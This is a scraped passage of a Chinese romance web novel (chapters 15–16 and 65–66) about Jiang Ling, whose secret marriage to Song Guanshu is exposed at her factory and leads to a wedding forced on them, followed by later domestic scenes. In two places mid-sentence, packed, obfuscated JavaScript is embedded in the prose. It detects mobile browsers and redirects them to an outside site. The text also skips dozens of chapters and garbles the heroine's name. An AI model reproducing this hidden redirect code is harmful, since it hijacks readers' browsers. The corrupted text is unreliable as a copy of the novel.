众人震惊,被亲生父亲赶出家,这得是干了多么过分的事情。
白果心道,怪不得刘晓洁口中姜菱从前很瞧不上职工宿舍,却会申请宿舍,原来是因为被赶出家。
赵红云想到姜菱已经领证,跟主任家儿子没可能了,没有必要替她隐瞒。
她一脸神秘问对方,“你们知道她为什么被我公公赶出家门吗?”
众工友们催促她快说,不要卖关子。
“她跟人偷偷领证,没有告诉我公婆,领完证才带着人回家。”
赵红云工友们都震惊了,活了大半辈子没有谁家孩子偷偷结婚。
赵红云问白果,“你打听姜菱做什么,是不是她欺负了你?”
没有发生过的事情,白果不能乱说,她实话实说道,“是姜菱将要搬到我们宿舍去住,我好奇她人品,想要事先打听一下。”
姜菱离开家这么多天,姜家人还当她跟宋观书住在一块,原来没有吗?
她宁可住进宿舍,都不愿跟宋观书一起住,八成是他们感情不和。
得到这个结论,赵红云挺高兴,你姜菱长得好看又有什么用,有那么多有权有势的钦慕者又有什么用,还不是嫁给一个没有父母的穷小子。
婚姻生活不幸福的女人,还不如别活了。
这人啊,才刚结婚就跟丈夫分居,估计婚姻状态也持续不了多长时间了。
赵红云心中琢磨,这件事要不要跟公婆说一下呢。
姜菱回到姜家,有人时时刻刻给赵红云添堵,这对她来说不好。可是姜菱恢复单身状态,就可以给她介绍对象了。厂里还有不少丧妻的厂领导,若是姜菱能嫁给厂领导做老婆,那就太好了。
赵红云认为自己这是在帮助姜菱,并不是用姜菱的婚姻替她牟利。
姜菱在婚姻问题上糊涂,她如果不帮忙抓点紧,姜菱恐怕二婚又要嫁给穷鬼了。
虽然要帮姜菱找下家,却又不能太上赶着了。
等姜菱在职工宿舍里跟室友处不来,只能灰溜溜回家的时候,那时就是姜菱求着她了。
15. 第 15 章
姜菱还不知道赵红云的打算,此时的财会科办公室来了一尊大神,穿着格子大衣,脚上还踩了三公分的高跟小皮鞋,在这时代是相当时髦的打扮了。
这女同志刚踏进财务科,魏明的脸色就迅速的急转直下,随即他脸上挤出了个堪称谄媚的笑容,“媳妇,你怎么来厂里了?”
丁艳似笑非笑,“怎么厂里有什么见不得人的地方,我不能来?”
魏明赶紧说,“我不是这个意思,我是说,你们妇联不忙了。”
妇联向来是个清闲衙门,他这话就跟放屁似的。
丁艳四十多岁,因为保养得当,看起来比实际年龄要年轻许多,只是跟做丈夫的魏明站在一块,还是有年龄差的。
她在财务科众人脸上一一扫过,最终落在姜菱脸上。
丁艳之前从未踏足过财务科,科里其他人见过她是通过其他的渠道。
唐科长对不喜欢魏明,却对魏明身后的丁艳很是尊重,“丁同志,你快坐下暖和暖和,外面冷,这一路走过来没冻着吧。”
丁艳坐在魏明的工位上,魏明局促地站在她身边,像个受气的小媳妇。
丁艳是日化厂丁厂长的妹妹,早年丁厂长为了升职,把妹妹嫁给年龄跟他们父亲相仿的领导做老婆,在这位老领导也是他前妹夫的帮助下,丁厂长得以迅速升职,当上了厂长。
对这个妹妹丁厂长一直有亏欠,在前妹夫得了急症去世之后,他问过妹妹的意见,这下给丁艳找了个年龄小的丈夫也就是魏明。
丁厂长对魏明诸多关照,才进厂里两年,就破格让他当上了财务科的副科长。
厂里其他领导知道原因,没有从中阻拦,毕竟谁家还没有个孩子要安置呢。
姐弟恋的组合,看着真有意思。
姜菱忙忙碌碌理账,却不知道在忙什么。
丁艳突然问魏明:“昨天晚上你为什么没有回家?”
魏明赔着小心说,“我昨晚在大哥家,不信你去问大哥。”他口中的大哥是丁厂长。
“不对啊,我今早还碰见小小了,她说她爸昨晚也没回家,我大哥不在家,你怎么会在他家。”
小小是丁厂长家的女儿,在丁艳的安排下,毕业也进了妇联工作。
“我说错了,我不是说在大哥家,我的意思是,我昨天晚上跟大哥在一起,大哥晚上喝醉了,我陪着他在厂里眯了一晚上。”
姜菱比别人先抓住了他言语中的漏洞,当然其他人有可能想到了,但是不方便说,姜菱没有这个顾虑。
“不对啊魏科长,您如果昨晚睡在厂里,今天上班的时候怎么还迟到了一个多小时呢。”
魏明恼羞成怒地说,“那是因为厂里找了贼,我陪着厂长去处理,所以才会迟到,你要是不信可以问公安。”
丁艳想着事后去问一问他大哥,她不再追问。
这时候厚重的门帘中探出个头,“谁要报警啊。”
来人正是谢朗,在忙完现场侦查之后,他同洪警官请了个假,跟宋观书一起来找姜菱。
谢朗跟丁艳也是老熟人了,谢朗母亲交友广泛,跟丁艳是朋友,
丁艳嫁给老头以后,一直没能生出自己的孩子,她很喜欢小孩。
谢朗从小活泼,活泼的孩子很招大人喜欢,她常去丁艳家蹭吃蹭喝。
“丁姨也在呢?”谢朗从门帘中钻进来,“我没听错的话,是姨父说要报警?”
丁艳摆手让他走,“没人要报警,你哪儿来回哪儿去。”
跟在谢朗身后,宋观书也走了进来。
姜菱没忍住撇了撇嘴,财务科和技术科只隔了一层楼,宋观书从不会主动来找她,有谢朗在的情况除外。
看见宋观书,众人眼前一亮。
财务科老大姐们都想要调侃一下小情侣,只是碍于有丁艳在场,不好开口。
“我才不是被你们要报警的话吸引进来,我来找人的。”
没有人注意到,当谢朗说出来财务科找人的话时,魏明脸上的表情变了。
“找谁啊,查
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069194|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贼查到财务科了?”丁艳还没来得及听说日化厂发生了什么事,只是听众人对话,知道是找了贼,她于是调侃道。
“不是的,我不是公干,姜菱是我同学,我来找她。”
姜菱笑着说,“你们来得正是时候,我帮你们发现了昨晚出现在厂里的人,我们魏科长昨天跟厂长都在厂办公楼,他们有可能会提供一些有用的信息。”
谢朗挠头,丁厂长早上的时候怎么没过,“昨天睡在厂里,有没有听见小偷在半夜发出的响声?”
“我们喝了酒,半夜睡得沉,哪里听见响声。”
“行,等回派出所以后,我跟师父说一声。”
魏明:“我很希望能帮助你们破案。”
距离下班,还有半小时,不能早退,一群人在财务科办公室内大眼瞪小眼。
姜菱把手上在核对的票据收拾了一下,她边收拾边问,“嫂子,你跟魏科长结婚多久了?”
“快五年的时间了。”其实这时间也好算,魏明在跟丁艳结婚以后,先在仓储科做了三年的普通员工,后因为工作上重大立功表现,被破格提拔到财务科当副科长。
科里大家都知道她们结婚这么长时间也没个孩子,李春娇问,“那你们准备什么时候要孩子啊?”
“都看缘分的,缘分到了孩子就来了。”
再说什么都不合适,李春娇点点头,“这倒是。”
“我先回技术科。”
谢朗奇怪,“这马上就下班了,你跟姜菱不一起回家吗?”
他这话一出,其余人都奇怪地看他,似乎不清楚他何出此言。
于家风:“我知道你的意思,你是说小宋应该把姜菱送到宿舍楼下,这样他们还能多一些相处时间,对不对?”
谢朗感觉似乎哪里不太对劲,具体哪里不对劲,他又说不出来。
“不是啊,已经结婚了,难道不住在一起。”他突然灵光一现,“姜菱这段时间住在宿舍,你们之间产生矛盾了?”
结婚?!
16. 第 16 章
这是怎么说的,姜菱和小宋不是才处上对象,怎么就结婚了。
媳妇丁艳在身边,魏明安静得像只鹌鹑,非必要绝不说话,努力降低自己存在感。
即便他非常想开口询问结婚是什么情况。
财务科几位大姐先后问道,“你跟小宋结婚了?不能吧,咱们天天见面,也没有听你说过。”
这暴露速度太快,是姜菱所没有想到的。
她干笑两声,搜肠刮肚终于找到个牵强的理由,“没来得及买喜糖分给大家,就没有好意思告诉大家。”
这时候大家对于结婚认识不同,有人认为不领证就不是结婚,还有人认为不办喜宴就不是结婚。
虽然现在家家户户生活艰难,可结婚是人一辈子只有一次的大事,就是日子过得再苦再难,也要办喜宴,哪怕说办得稍微简陋一点,有喜宴这个仪式在,才算是结婚。
大家想着姜菱只是领了证,还没来得及办喜宴,没有通知同事也很正常。
李春娇:“你跟小宋摆席的时候,可一定得通知大家伙,我们肯定都去参加。”
这时候同事之间赶礼也就五毛钱,五毛钱能带着全家一起凑个热闹,还是很值的。
关键是喜事儿,都喜欢沾沾喜气。
就连丁艳也说,“对啊,可得告诉我们,今天让我赶上了,我是一定要去的。”同时,她心里又有点忧伤,别人家比他们晚结婚五六年的小年轻都有孩子了,她这肚子还是没有动静。
都要参加婚礼,可她跟宋观书之间没有感情,怎么可能办婚礼啊,对彼此来说都是负担。
姜菱指望不上宋观书替她解围,她举起手小声说,“那我可能跟大家汇报一个不好的消息,我这段时间住在宿舍,是因为我爸妈还有弟妹要把我嫁给家暴的离婚男人。”
姜菱并不知道赵红云真的计划将她嫁给二婚男人,但不影响她抹黑他们。
反正都闹翻了,对敌人仁慈就是对自己残忍。
姜菱伸出手指指向宋观书所在的方向,“我就偷偷跟他领了证,我爸妈听说以后就把我赶出家门了,所以说大家期待的喜宴,可能要泡汤了。”
婚礼都是由父母操办。
丁艳年轻时候,为了兄长的前途嫁给老男人,虽说那人是干部,行为举止儒雅,对她还算尊重。
她从穷姑娘,一跃成为领导太太,得到了许多人梦寐以求的财富与地位。
个中辛苦只有她自己知道,一身老人味的老头,难伺候的继子继女,始终没有自己的孩子,还要被外人指指点点说她爱慕虚荣.......
这一切并非她想要,如果可以,丁艳更想跟门当户对的同龄人组成家庭,一起过两年穷日子,靠着双手辛勤致富,生两个可爱懂事的孩子无论男女都行。
当初她年轻,被父母兄长忽悠,稀里糊涂地同意嫁给老头子。
从姜菱口中听到她父母兄弟的打算,丁艳非常有代入感,她无数次想过,如果当时能够拒绝父母的要求,勇敢跟那时候的对象结婚,人生是不是又会是另一个光景。
所以在其他人听说姜菱没有得到父母同意就去领了证,还觉得她行为有些不妥。
他们这一辈的人都非常孝顺,简直将天下无不是的父母这句话刻进了骨子里。
父母虽然做错了事,终归生养了你一场。
更何况,几位大姐年纪都不小了,有时候看姜菱就跟自家孩子似的,代入自己家孩子背着爹妈跟人领证,简直要天塌了。
其他人代入父母,觉得姜菱这一举动有问题。
丁艳代入自身,敬佩她的勇气,觉得她干得好,“妹子,你放心,你爸妈不帮你办婚礼,大姐帮你张罗,绝对比旁人更热闹更喜庆。”
姜菱这下彻底呆住了,她并不想要婚礼的啊。
如果可以,她更想要离婚。
“大姐,你是个好人,正因为你是个好人,我更不应该麻烦你。”她太着急了,话像是机关枪一样从嘴巴里突突出来。
丁艳好像没有听出她在婉拒,一门心思规划起来婚礼,“你跟……小宋对吧,你们都是日化厂的员工,我跟我哥说一声,让他替你们主持婚礼,就在你们厂食堂。”
姜菱拉住她的手,“姐,这太破费了,不好。”
丁艳还当她是舍不得花钱,“放心吧,不让你们花钱,员工以厂为家,厂子把员工当作家人,父母帮着困难的孩子办个婚礼,这也是应该的,你不用不好意思。”
这误会太大了,姜菱绝对没有不好意思。
大庭广众之下,跟陌生人结婚,这也太冒昧了。
宋观书虽然不是陌生人,还不如陌生人呢。
至少她不用时刻防备着陌生人,跟宋观书待在一起,不一直警惕,恐怕他把你算计了卖钱,都不知道什么时候被卖的。
姜菱求救目光看向宋观书:同志,你也不想跟我结婚吧,快动用你聪明的小脑瓜,找个合适的理由回绝掉。
宋观书不喜欢被关注,在厂食堂举办婚礼,不能给他带来任何好处。
他参加过同事邻居的婚礼,席上新郎新娘像是猴子一样表演。
他从前不认为自己会结婚,更没有想过会有婚礼。
可是姜菱也不想要婚礼。
于是宋观书说:“那就麻烦丁姐了。”
“哎哟,这小伙子嘴可真甜。”其实他并没有说什么好听的话,只不过话从美人嘴里说出来的感觉不一样。
姜菱忍不住气急败坏瞪他,这人是怎么回事。
宋观书善解人意道,“知道你怕麻烦丁姐,可丁姐她是真心帮忙,咱们不要再推辞,反而寒了丁姐的一片苦心。”
这几日在财务科,姜菱有意告诉大家她是个心里只有宋观书的恋爱脑。
现在这个恋爱脑人设成为了她的阻碍,恋爱脑不可能会拒绝一场跟心上人的婚礼。
现在不是破四旧那阵子了,婚丧嫁娶都讲究找个好日子。
就连挂历上都写了每一天的喜忌,丁艳看了两眼挂历,独断地决定道,“就这周天,宜嫁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15069195|163116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娶,还放假。”
魏明憋了好久,终于忍不住开口,“艳姐,那毕竟是人家小两口的事情,咱们外人插手不太好吧。”
他就那样蹲在那里,一直没说话,大家都以为,这屋里没这么个人。
别看魏明是男人,丁艳在家却是做主的哪个。
他话说完,丁艳没看他一眼,继续跟众人说道,“我去楼上跟我哥说一声,很快下来。”
她看了一眼手上的腕表,快要下班了,“小宋和小姜先别急着下班,等我回来。”
丁艳这话说完,别说宋观书和姜菱走不成,其他等着看热闹的也不急着回家给丈夫孩子做饭了,反正也不差这三五分钟的时间。
上下楼不超过五分钟,却不承想丁艳半个多小时,整个办公大楼的干事都走空了,他们财务科的办公室却亮起昏黄的灯。
有些下班晚的工人看见这一幕,还以为是厂里又要给发工资,财务科加急清点呢。
看着逐渐黑下去的天色,姜菱忧伤地想,今晚可能吃不上饭了,食堂晚饭供应取决于中午剩饭的数量。
中午剩得多,晚饭供应就丰富。
中午剩得少,就只有饿肚子。
在天完全黑下来之间,丁艳终于下楼了。
“不好意思哈,楼上有点事耽误了。”
姜菱还想要再拯救一下,她十分善解人意说道,“丁姐,如果不方便的话,就算了,不要因此影响了你和丁厂长的兄妹关系。”
丁艳没忍住笑道,“你这丫头想什么呢,我在他办公室遇见个熟人,不能当着外人的面说这个,等他们唠完,一直等到了现在。”
她觉得家里的好日子都建立在她的痛苦之中,觉得是家里欠了她的,让家里人给她帮忙是特别理直气壮。
丁家人也的确对丁艳有求必应,但不完全是亏欠的心理。
丁艳的前夫虽然已经死了,下属还在位置上,都卖她两份面子,这都是能顶大用的人脉,丁家当然得继续捧着她。
“你们厂长毫不犹豫同意了,让食堂提前打扫布置,他亲自给你们当证婚人,一切费用由厂里承包,你们不用操心任何事。”
“丁姐,这太过劳师动众,别办了。”
“傻丫头,举办一场活动,食堂工作人员能从中捞油水,他们很乐意干的。”
“特殊待遇,让厂里其他青工怎么想。”
丁艳才不管别人怎么想,这些都是她哥要操心的事情。
“你们厂长说了,厂里才发生了不好的事情,借由你们的喜事冲一冲,厂子上下一齐高兴一下。不过嘛,喜宴由厂里承办,你们不能收礼金,想凑热闹过来。”
看姜菱还想再说什么,丁艳拍了拍她的肩膀,“再推辞就是不懂事了,听话哈。”
很明显,丁艳这人不管家里家外都要做主,而且容不得任何人忤逆她。
姜菱想不到,只是出来上个班,竟然半小时内把婚宴定下来了。
令她头疼的不是婚礼,是婚礼后要搬到一起住。
65、第 65 章
姜菱一把推开了他的脸,狠狠拒绝,“不用!”
他似乎对于被拒绝,并不在意,若无其事地后退了两步,“那,快吃饭吧。
昨天发生那种事,再面对他时,姜姜有些尴尬,饭桌上异常安静,不像平常,姜菱会跟他说上班发生的趣事。
习惯了吃饭时跟姜萎聊天,他很不习惯如今的安静饭桌。
宋观书主动问道,“财务科今天发生了什么有意思的事吗?
姜萎进行了一番认真思考,然后如实回答,"没有。”
往常不是这样子的,就算办公室没有发生什么趣事,她也会把自己做了什么事情说给他听,而不是冷冰冰地回答没有。
宋观书笑得很勉强,他问,“我是个很无聊的人吧,觉得跟我聊天相处乏味无趣。”
“不是啊。”姜姜莫名其妙,不明白为什么从财务科跳到了他身上。
财务科白天没有发生有意思的事情,为什么会觉得他无聊,这两者似乎没有什么直接的联系。
家里被他收拾得一尘不染,就连细小的灰尘都不复存在。
如果不是房间里还有一些生活物件,陌生人进来以后要以为这个屋子没有人居住。
太干净了,干净得像是有犯罪嫌疑人过来打扫了一遍。
她看见还插在杯子里的半根糖葫芦,冰糖融化,就只剩下了几粒不新鲜的山楂,光是看着就很酸,姜姜皱眉许久,也没能下嘴.
宋观书十分善解人意说道,“不喜欢吃,就丢掉吧。’
姜菱有点纠结,“扔掉太浪费了。”
“吃到了不喜欢的东西,才是浪费。”他说,“你这个不叫浪费。
他伸出手,要帮忙解决掉剩下的几粒山楂。
姜萎以为他要帮忙扔掉,这样也好,不是她亲手扔的,姜菱不会有那么强烈的负罪感.
然而,他没有要扔掉剩下的半根糖葫芦,而是咬了一颗山楂下来。
"不是…” 那是她吃过的。
姜姜要阻止已经晚了,那山楂已经被他咽了进去。
她再提醒已经没有意义了。
宋观书似是不懂她为何突然叫她,茫然抬眼看她,姜姜摆摆手,“没事,你继续吃吧。
最后没有浪费粮食就行。
看他吃完最后几颗小山楂,姜姜咽了下口中生出的酸水,“要是喜欢吃的话,下次不要只买一根了,买两根,咱们一人一根。
“还是买一根吧,你吃不完一整根,剩下的就浪费了。"
随他吧,反正不管买一根还是两根,她都能吃上,这就够了。
白天的时候,宋观书把两人的被罩拆下换上了干净的,换下的脏被罩被他洗干净后挂在了院子里晾晒
有个单独的院子不管干什么都特别方便,突然拆洗被罩也不会吸引过多的注意力。
两人都刻意没有再提前一天晚上发生的事情,就像那只是一场荒唐的梦。
就连徐友兰,姜菱都没有再提。
按照她的性格,遇见有人做了这种事情,她肯定每天都要骂她一顿解恨。
梦醒了,就过去了。
但,真的是这样吗?
躺在被窝里,即便已经换了新的被罩,姜萎却总感觉有一股了味道。
她也不知道是心理作用,还是真的有。
有时候撞见宋观书裸着上半身换衣服,她总会联想到某些禁忌的画面、片段,
冬天丅燥,她又睡在热炕头,更加容易上火了。
加之似乎是被她看过了,宋观书如今不太避着她了,姜姜总是不小心看到一些不该看的画面。
只能看,啥也不能干。
姜菱十分光荣地上火了。
早上起床,看见宋观书光着上半身去柜子里翻找衣服,倒三角的轮廓,弯腰时更显得背肌明显。
两管鼻血飙出,姜菱赶紧找纸堵住。
宋观书没找到衣服,听见了身后的动静,他转过头,就看见姜姜正在手忙脚乱地找纸,她的手上、衣服上全是血,还不停地有血从鼻子中滴出
湿毛巾被拍在了姜菱的后颈上,姜菱被冰的浑身一哆嗦.
鼻腔里的血流得没刚才那么急了,宋观书记得书上说过,举手也是有用的,他给姜菱的后颈的毛巾扶正,扶着她那自然垂在身侧的手举起
这方法对别人有没有用不知道,对姜菱大概没什么用。
也没有人处理同伴流鼻血的时候不穿上衣啊,很大,再近一点,就要怼到她的脸上了。
刚稍微控制住的鼻血,又不受控制了。
姜菱是个意志坚定的好同志,怎么会轻易被眼前的美色所动摇呢。
她坚决地伸出手同诱惑说不,将眼前的景色推开。
嗯,果然是软的。
宋观书单纯地没有旁的想法,只想姜姜赶紧止住鼻血,猝不及防被推开,他还有些迷茫
"我…"
姜萎摆摆手,示意不用他帮忙,“没事,我自己就行。"
鼻血渐渐止住了,宋观书找到抹布将地上还有炕上的血擦干净。
“怎么会流鼻血呢?”
姜菱坚决不能承认刚才偷看他了,“晚上的炕太热了。
宋观书的目光中满是心疼,她流了很多血,“等会去买只鸡给你补一补。
别补了啊,再补流得更多。
她说,“我觉得我这几天吃两天白菜豆腐就行。”吃点素,冷静冷静。
姜菱最讨厌的菜就是白菜豆腐,在其他邻居入冬前存了许多白菜的时候,宋观书只象征性地买了几棵放在西屋.
事出反常必有妖,姜菱不喜欢跟他刨明心事,宋观书只能靠猜。
“没关系的,不用担心花钱,厂里的效益不错,年前会有一笔分红,以后每月都会有,会越来越多。
姜菱要怎么跟他解释,这跟钱没关系。
“只是我突然很想吃白菜豆腐,真的。
姜菱目光诚恳地看向他。
这就更不对劲了,姜姜竟然会想吃白菜豆腐,不过既然她不想说,宋观书没有深问。
“好,那明天煮白菜吃。”
姜菱的衣服上也沾上了血。
宋观书皱着眉,“衣服脱下。"
姜菱捂着衣服,一脸惊悚地看着他。
他无奈地叹口气,“你以为我要做什么,我是让你把染着血的衣服脱下,总不能穿着这衣服去上班,我一会顺手给洗了。“我知道啊。”她的态度很硬气,“我想自己洗。"宋观书还能不知道她在嘴硬,他解释道:“水凉,冻手。”“那我就烧一壶热水往里兑。”只要思想不滑坡,方法总比困难多。有吗?她曾经也是很有经验的,怎么对于他说的这个一点印象都没有。“在这种事情上没必要骗你。是啊宋观书没有必要骗她,总不至于这人爱做家务到要与她抢活儿干的程度吧。“我要换衣服了。”姜萎做了个手势,示意他转身。宋观书按照她的指挥,乖乖转身。姜姜跟宋观书不同,她每天晚上会把第二天要穿的衣服找好,就放在炕头上烘着,这样第二天睁眼后就能穿衣服,不用去找。衣服在炕头放了一晚上,穿的时候还是暖和的。宋观书每天早上都要去柜子里翻衣服,姜萎很佩服他不怕冷,早上的房间里并不温暖。他以前好像不是这样子的,生活习惯很好,跟姜菱一样,前一天晚上就找好了第二天要穿的衣服。姜菱是因为懒,宋观书因为什么,她不知道。从柜子里刚找出来的衣服,不如在炕上烘了一晚上的暖和,上身惹得姜姜不断喊凉。在姜菱害得刻意遗忘之下,那天晚上发生的事情被她抛在脑后,就包括“始作俑者”徐友兰。她没想到,她和宋观书没去找徐友兰算账,这人自己找上门来了,徐友兰还惦记着姜萎曾经说过,要帮忙打听她丈夫的事情。约莫了一下时间,半个月过去,应该已经打听到了。于是,徐友兰主动找上门来。她是来办公室找的姜萎,徐友兰怕单枪匹马去了他们家遇害都没人知道,办公室人多安全,。看见这人,姜菱想起她干过的事儿,顿时气不打一处来。距离她上次来办公室找人没过多久,财务科的同事当然不会忘记她,还以为这人又来借钱.最讨厌这种听不懂话,人家已经拒绝,却一而再再而三上门借钱的人。“你还有脸来!"她心想,难道姜菱知道,她想要勾搭宋观书。宋观书也真是的,怎么这种事都跟家里的媳妇说啊!“我…” 徐友兰张了张嘴,却不知道说什么好。道歉的话,她说不出口。她自认为没有对他们造成伤害,她只是有那种想法,又没有成功,难道这也算错吗?越想越理直气壮,“我又没有做什么。敢做不敢认,那种事,还当着同事的面,姜菱又不能跟她对峙.“我就没有见过,脸皮像你一样厚的人。"她是来打听事儿的,进来之后先被姜萎骂了两句,再好的脾气也要发火“不想说就算了,干嘛骂人呢?”徐友兰气哼哼的,“是你要帮我的。"你没有跟我说实话,还想叫我给你干活,想什么美事呢!“我哪里没有跟你说实话了。"姜姜压着脾气说,“你丈夫是什么时候被抓的,你要不要去打听一下,公安最近还有在抓投机倒把吗,就算编也得编个像样一点的理由啊!去年的年中,的确有一段时间抓过,今年的政策又不一样了。听徐友兰那话的意思,她家男人是最近两个月被抓的,那怎么可能嘛去年年底的口o上,还提到了个体经济。这段时间宋观书看报纸关注这一方面的政策,姜萎也跟着了解到了许多,“怎么可能。”徐友兰显然不相信姜萎,“我公婆说的,她不可能骗我。“傻姑娘,你公婆说的话,不一定是真的啊。同事们听得摸不着头脑,但是有个跟公婆很不对付的大姐在,她就说了,她又絮絮叨叨说起了自己婆婆多么可恶,不仅偏心眼,还帮着她男人哄骗她,那真是个坏事做尽的老太婆徐友兰婆婆从前对她还挺好,所以她从来没有怀疑过,她婆婆说什么,她自然相信。她婆婆说有钱好办事,只要有钱,就能给她丈夫走关系,不管是少判两年,还是让他在里面好受一点都行。就因着她婆婆的话,她借遍了亲戚朋友,包括娘家。娘家人想让她离婚,她毫不犹豫地拒绝了。就像她婆婆说的那样,她怎么能在这关键时刻离开丈夫呢.徐友兰不是没有怀疑过,她男人进监狱,她第一时间就想到了谢朗,他能帮忙打听。说出想法时,却被公婆大骂了一顿,只让她去借钱,别的不用她管。到处托关系,反而容易适得其反。就是姜萎说要帮忙打听消息这事,她都没敢告诉公婆,生怕惹了他们不快。他们果然有事隐瞒她,徐友兰失魂落魄地离开了办公室姜菱不关心她去了哪儿,大概是回去找公婆对峙了吧。她回家以后,迫不及待地跟宋观书说,“徐友兰,今天来厂里找我了。"宋观书手上切菜的动作不停,“为了她丈夫的事情?"姜菱不想提徐友兰丈大的那件事,她正在气愤另一件事,“这个人太过厚颜无耻,竟然否认对你下过药。宋观书给她倒了一杯水叫她消气,“不承认才是正常的,为了这种人气坏身子不值当。”姜菱多看了两眼异常平静的宋观书,“你怎么不生气?”明明他才是苦主。,
66、第66 章.
宋观书面不改色地跟姜菱一起谴责徐友兰。
饭后,他翻出了白天拿到的分红,很厚的一沓子钱。
姜萎用肉眼估量了一下,至少也有一百张。
看见花花绿绿的钱票子,姜萎脸上的表情一下子的变得十分丰富,活脱脱个小守财奴,“叫我帮你保管啊。
“不是。"
"那你给我干什么?”她的脸一下子垮下来,把钱扔给宋观书。
“快过年了,你去买新衣服。”
他的唇角含笑,静静看着她数钱的动作。
“宋观书同志, 你真是这个世界上最大方的男人!"
姜菱从来不吝啬对身边人的夸奖,情绪价值总是给得很足。
宋观书拼命克制不住上扬的唇角,“多买几件。"
“好呀,刚好觉得新衣服不够。”姜萎说,“我二姐说过几天要去南边进货,托她给我带两件好看的衣服。
看在宋观书给了不少钱的份上,姜萎说,“让她给你也捎两件,好歹也是小老板了,不能总穿那两套衣服。"
其实姜菱想说的是,那么好的身材,不穿好看的衣裳多可惜啊。
宋观书原本想说自己的衣服够穿,又怕打击了姜萎的积极性,将来不给他买衣服了。
他笑得十分心满意足,“好,谢谢你。
“不客气。”反正花的全是你的钱.
临近年关,厂里的事情多。
姜菱和宋观书都忙得不可开交。
连着几个月没发工资,总不能过年还不发,这还让不让工人过年了。
财务科要给工人发工资,还要做年底的盘点。
上班时候忙得不行,回了家姜姜还得给北城晚报写稿子,多亏稿了每周一篇,字数也不多,要不然她真的要累死了。
宋观书那边比姜姜更忙,老百姓劳累了一年,会选择在年底奖励自己买一些从前不舍得的东西,比如说新衣服、新鞋子,还包括恒久厂的润肤面霜。
面霜的销量迎来了一个小高潮,厂里又紧急招工,从前被北城日化厂开除掉的工人,如今全在恒久上班。
恒久虽然不是公家单位,但是给的工资高,计件收费,多劳多得少劳少得,干得多赚得多,工人们的生产积极性高,从前在北城日化厂工作时存在的一些毛病,全部得到了根治
根据姜菱提出的建议,厂里针对过年,还推出了新春礼盒,无论是自用,还是走亲访友送礼都合适。
盒了的包装设计得高档,拿出去送人特别有面子,虽然价格不便宜,但卖得特别好。
最初北城只有四家供销社销售恒久日化厂的产品,如今已经有十多家了,多是看到恒久面霜的销量好,主动商量可以代销。
如今销量好,便不局限于只在北城销售。
李桂和宋观书出差了几趟,去北城附近的县市跑销路,对方听说北城百姓都在用这款面霜,想都不想的就答应了
北城是省会,周边县市倾向于模仿学习省会。
在将白家的销售额给对方看了,宋观书还带了一份北城晚报,给对方看白家的广告。
北城周边县市的市场广阔,恒久厂的面霜销量更好,宋观书也更加忙碌。
宋观书忙着厂里的事儿,陈向阳也不闲着,他跟着跑前跑后,也是忙得不可开交
“我就不理解了,陈向阳他也没有闲着,哪来的闲工大去管闲事。"
也不知道陈向阳怎么劝的,孙敏的亲生母亲,那个叫翠儿的女同志,竟然去恒久厂当工人去了。
听菊香嫂了说,从前的翠儿虽然算不上好吃懒做,但也称不上是传统意义上吃苦耐劳的好女人.
不像别人家的妈那样疼爱孩子,但翠儿回来以后,孙敏的日子比从前好过了不少。
当初翠儿刚回来的时候,不少邻居在背后叨咕,说孙老头家要热闹起来了,估计得像前院的刘科长家似的,整天打架。
谁能想到,没打起来。
更让姜萎觉得不可思议的是,陈向阳说动了韩瑞雪出去工作。
韩瑞雪娇气,当不了生产线的女工,可她又有个别人没有的优势,她长得好看又爱美,对市面上各个牌子的护肤品优缺点几乎烂熟于心。
韩瑞雪从前不出去找工作,是因为没有合适的工作,她这个人娇气吃不了苦,太苦太累太脑的工作不能干,不体面的工作不能干,挑来挑去,跟刘建设结酒以后,有人养着她,也就没有那么强烈的念头出去工作了。
她不是不想工作,每天在家里待着非常无聊,尤其现在要面对着她婆婆那张老脸。
能赚钱,还能每天跟护肤品作伴,韩瑞雪一下子心动了。
刘老太一直在背后念叨说,韩瑞雪不出去工作,吃她儿子的用她儿子的,等人家韩瑞雪出去赚钱了,她又疑神疑鬼,担心韩瑞雪给她儿子戴绿帽子。
附近邻居中,最不可能出去工作的两个人,被陈向阳拉着出去上班了。
惊得姜姜忍不住跟宋观书感慨:“陈向阳跟你干真是屈才了,又爱管闲事又有号召力,他应该去妇联工作。
“随他去吧。"
两人正聊着,听见后面传来了吵嚷声。姜萎趴在家后门的玻璃上往外看。
为了保护隐私,玻璃上挂了一块布,外面看不到里面,里面想要看见外面,要掀开挂着的布,从缝儿往外看。
还以为谁家打起来了呢?
根本没有,是方老太要生了。
孙老头虽然抠唆,毕竟老来得子,很是重视,准备带着方老太去医院生,谁能想到计划赶不上变化
大概是高龄产妇容易早产,方老太还没等来到预产期,小婴儿就迫不及待想来看一看这世界。
孙老头一家四口没一个能顶事儿的,方老太要生了,孙老头赶紧去找翠儿。
翠儿虽然生过孩子,但那都是多少年前的事儿了,那时候家里有人操持,她只管生就行,别的都不用她管
她哪里知道要怎么办。
手忙脚乱之下,她去西厢房喊陈向阳。
陈向阳就更懵了,他是个没有媳妇的光棍。
姜菱趴在窗户上看热闹,没想到陈向阳会来拍门。
这人进门后慌张得不像话,“菱,宋哥,怎么办啊!
什么怎么办,“你又做了什么?”宋观书直白问道。
“不是我,是方大娘,她要生了,怎么办啊?"
姜菱翻了个大人的白眼,“她生了你慌什么,又不是给你生孩子?"
